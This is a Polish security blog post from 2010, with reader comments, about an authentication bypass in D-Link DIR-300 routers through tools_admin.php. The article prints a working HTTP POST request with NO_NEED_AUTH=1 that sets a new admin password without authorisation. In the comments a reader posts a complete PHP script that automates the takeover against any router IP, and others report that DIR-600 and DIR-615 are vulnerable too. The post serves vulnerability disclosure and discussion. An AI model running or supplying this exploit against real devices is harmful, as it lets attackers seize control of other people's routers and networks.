09 listopada 2010

Jak przejąć kontrolę nad popularnymi routerami firmy D-Link?

Firma D-Link ma już od dłuższego czasu spore problemy ze skutecznym implementowaniem mechanizmów bezpieczeństwa we własnych urządzeniach sieciowych. Na początku roku upublicznione zostały informacje na temat błędu w zabezpieczeniach protokołu HNAP, który pozwalał na ominięcie mechanizmów uwierzytelniania oraz autoryzacji i w efekcie łatwe przejęcie uprawnień administracyjnych w sporej grupie urządzeń tego popularnego producenta. Tymczasem pojawiły się informacje o równie interesującej luce obecnej w routerze D-Link DIR-300.

D-Link DIR-300 to bardzo popularny router bezprzewodowy, chętnie nabywany przede wszystkim ze względu na przystępną cenę oraz spore możliwości. Niestety, użytkownicy tego urządzenia są obecnie narażeni na utratę kontroli nad własnym routerem, bowiem bardzo prosty atak pozwala na zdobycie całkowitej kontroli nad DIR-300.
Problem tkwi w module tools_admin.php, który pozwala potencjalnemu intruzowi na dowolną zmianę kont oraz haseł administracyjnych i to bez jakiejkolwiek autoryzacji! Przykładowo wysłanie następującego żądania HTTP POST (przy założeniu, że adres IP routera to 192.168.1.1):

POST http://192.168.1.1:80/tools_admin.php HTTP/1.1
Host: 192.168.1.2
Keep-Alive: 115
Content-Type: application/x-www-form-urlencoded
Content-length: 0
ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&login=+Log+In+&NO_NEED_AUTH=1&AUTH_GROUP=0&admin_name=admin&admin_password1=uhOHahEh

pozwala na ustawienie konta administracyjnego admin, zabezpieczonego hasłem uhOHahEh. Takie poświadczenia pozwalają oczywiście następnie na przejęcie całkowitej kontroli nad urządzeniem i wykonanie dowolnych działań administracyjnych w tradycyjny sposób.

Na powyższy rodzaj ataku mogą być narażone również inne modele korzystające z modułu tools_admin.php. Zachęcam więc do przetestowania własnych urządzeń D-Link i podzielenia się z nami wynikami poszczególnych doświadczeń. Warto podkreślić, że odkrywca tej luki (Karol Celiński), kontaktował się już w tej sprawie z firmą D-Link, jednak jak do tej pory nie otrzymał żadnej odpowiedzi...

[źródło]

Komentarze (21)

Wczytywanie... Logowanie...
  • Zalogowany jako
No kurwa kto zostawia taką zmienna w produkcyjnym systemie: &NO_NEED_AUTH=1.....
3 odpowiedzi · aktywny 750 tygodni temu
Po prostu przed wypuszczeniem produktu na rynek różne rzeczy się testuje i tak jest łatwiej, potem wystarczy już tylko zapomnieć...
Przecież wiem ;-) że ustawia się takie różne świństwa i każdemu zdaży się zapomnieć, ale kurde. Zapominanie o takich backdoorach przez firmę taką jak d-link to paranoja. Ktoś już pewnie ostro poleciał i mu się to należało. Ja rozumiem wkradanie się na zasadzie przeciążania URLa lub assemblowanie kodu w poszukiwaniu błędów i znalezienie jakiejś minimalnej drobnostki, ale to???
Nie takie firmy już zapominały o podobnych lub nawet gorszych rzeczach :).
Ale jak można to przetesować ?
Jak wysłać takie żądanie ?
3 odpowiedzi · aktywny 750 tygodni temu
a proszę bardzo:

<?php
if(sizeof($argv)!=4) {
echo "Usage: php5 $argv[0] <router ip addres> <port>
<admin password>\n";
exit;
}
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, "http://".$argv[1]."/tools_admin.php";);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_PORT, $argv[2]);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
"ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&login=+Log+In+&NO_NEED_AUTH=1&AUTH_GROUP=0&admin_name=admin&admin_password1=".urlencode($argv[3]));
echo "+ starting request\n";
$out = curl_exec($ch);
if($out===false) {
echo "- Error: could not connect (
http://$argv[1]:$argv[2]/tools_admin.php).\n";
exit;
} else
echo "+ request sended\n";
curl_close($ch);
if(stripos($out,"Successfully")===false) {
echo "- something goes wrong (check answer - answer.html) !\n";
$f=fopen("answer.html","w"); fwrite($f,$out); fclose($f);
exit;
}
else
echo "+ ok, now you can login using l: admin p:$argv[3]\n";
?>
BTW
"odkrywca tej luki (Karol Celiński), kontaktował się już w tej sprawie z firmą D-Link, jednak jak do tej pory nie otrzymał żadnej odpowiedzi"
A to dziwne. Ja niecały rok temu zgłaszałem dużo mniej poważny błąd. Po ~2 tygodniach dostałem 'gratisa' - DIR-655 :).
6 odpowiedzi · aktywny 750 tygodni temu
Więc może Karol też coś dostanie za około tydzień ;)?
Mnie się zapytali w mailu o adres i kazali wybrać jaki model chcę :P
Taki mało poważny błędzik - ominięcie kontroli rodzicielskiej :x. Jak się zapytałem o 'gratisy' to liczyłem na odpowiedź "a idź pan" albo "woli pan niebieski czy różowy długopis?". :D
A jezeli mozna spytac z kim konkretniej sie kontaktowales? Polska, niemcy czy centrum? Obserwowalem status innych luk i wszystkie jakie widzialem lacznie z ta, pozostaly bez reakcji ze strony producenta wiec tutaj mnie zaskoczyles.

Ps. ten PoC niekoniecznie jest udany. Tak czy owak powinien dzialac z dokladnoscia do komunikatu o sukcesie, ktory jest wykrywany po stalym stringu w odpowiedzi. Skrypt krzyczy, ze atak sie nie udal a stan faktyczny jest w prost przeciwny. Wolalem uzyc posta bo z analizy wynikalo, ze przy lekko zmienionej konfiguracji moze byc brany tylko POST pod uwage.
Z polską. Email wysłałem na dlink_polska@dlink.pl. Odpowiedzi później dostawałem z nazwisko@dlink.pl.
PS. wlasnie dostalem potwierdzenie, ze DIR-600 tez jest podatny.
Awatar Bartosz Wierzejewski

Bartosz Wierzejewski · 750 tygodni temu

Witam, na szczęście pomaga:
IP Allowed to Access, przynajmniej warto to ustawić do czasu jak Dlink coś wypuści albo ucieć na DD-wrt.
1 odpowiedź · aktywny 750 tygodni temu
Tak, rozmaite access-listy są praktycznie zawsze dobrym pomysłem.
Niestety router DIR-615 również można oszukać spreparowanym linkiem.
Najgorsze że na ten release routera nie ma alternatywnej opcji w postaci DD-WRT :((
Ten artykuł pozbawił mnie przyjemności siedzenia dziś (niedziela) w robocie i resetowania do ustawień fabrycznych print serwerów oczywiście dlinka i mogę iść na obiad. Strona świetna pozdrawiam autora
1 odpowiedź · aktywny 742 tygodni temu
Również pozdrawiamy i zachęcamy do aktywnego uczestniczenia w życiu HCSL ;).

Wyślij nowy komentarz

Comments by